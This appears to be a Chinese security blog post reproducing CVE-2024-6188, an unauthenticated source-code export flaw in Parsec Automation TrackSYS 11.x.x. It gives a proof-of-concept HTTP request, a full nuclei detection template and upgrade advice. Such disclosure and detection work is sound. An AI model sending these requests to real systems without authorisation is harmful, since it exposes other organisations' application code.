CVE-2024-6188 漏洞复现

CVE-2024-6188 漏洞复现

原创 fgz AI与网安 2024-07-13 09:02





本文内容为学习笔记分享,仅供技术学习参考,请勿用作违法用途,任何个人和组织利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责,与作者无关!!!

01

漏洞名称

Parsec Automation TrackSYS 敏感数据泄露
漏洞

02

漏洞影响

Parsec Automation TrackSYS 11.x.x

03

漏洞描述

TrasYSYS是一个由ParsecAutomation Corp.开发的软件平台,用于管理实时操作和优化制造流程。广泛应用于各行业,用于监测、分析和提高生产过程的效率和生产率。在Parsec Automation TrackSYS 11.x.x中发现一个漏洞,攻击者不需要访问应用的任何凭据,可以直接导出页面的源代码。此问题影响文件/TS/export/pagedefinition的某些未知处理。参数ID的操作会导致直接请求。攻击可以远程启动。该漏洞已向公众公开,并可能被利用。

04

漏洞复现

POC数据包如下,传递任意真实存在的ID,即可导出源代码

GET /TS/export/pagedefinition?ID={ID} HTTP/1.1
Host: {HOST}

漏洞复现成功

05

nuclei poc

poc文件内容如下

id: CVE-2024-6188

info:
  name: TrakSYS 11.x.x - Sensitive Data Exposure
  author: securityforeveryone
  severity: medium
  description: |
    A vulnerability was found in Parsec Automation TrackSYS 11.x.x and classified as problematic. This issue affects some unknown processing of the file /TS/export/pagedefinition. The manipulation of the argument ID leads to direct request. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used.
  impact: An attacker is able to export the source code of the pages without having any credentials to access the application.
  reference:
    - https://kiwiyumi.com/post/tracksys-export-source-code/
    - https://nvd.nist.gov/vuln/detail/CVE-2024-6188
    - https://www.incibe.es/en/incibe-cert/early-warning/vulnerabilities/cve-2024-6188
    - https://debricked.com/vulnerability-database/vulnerability/CVE-2024-6188
  metadata:
    verified: true
    max-request: 1
    vendor: parsec-automation
    product: tracksys
  tags: cve,cve2024,traksys,idor,info-leak

http:
  - raw:
      - |
        GET /TS/export/pagedefinition?ID=1 HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'TrakSYS Version'
          - 'Name'
          - 'Altname'
        condition: and

      - type: word
        part: content_type
        words:
          - 'text/plain'

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100b253a5a98a7432b44402719cf5070ea48a46f736dd935a3d191850571d8ee09502204dbe17d2cfedb94c6e00365e24ceab71bea2bc0076eaafda23b18aabc7585dab:922c64590222798bb761d5b6d8e72950

06

修复建议

升级到最新版本。

~~~关注不迷路,点赞你最帅~~~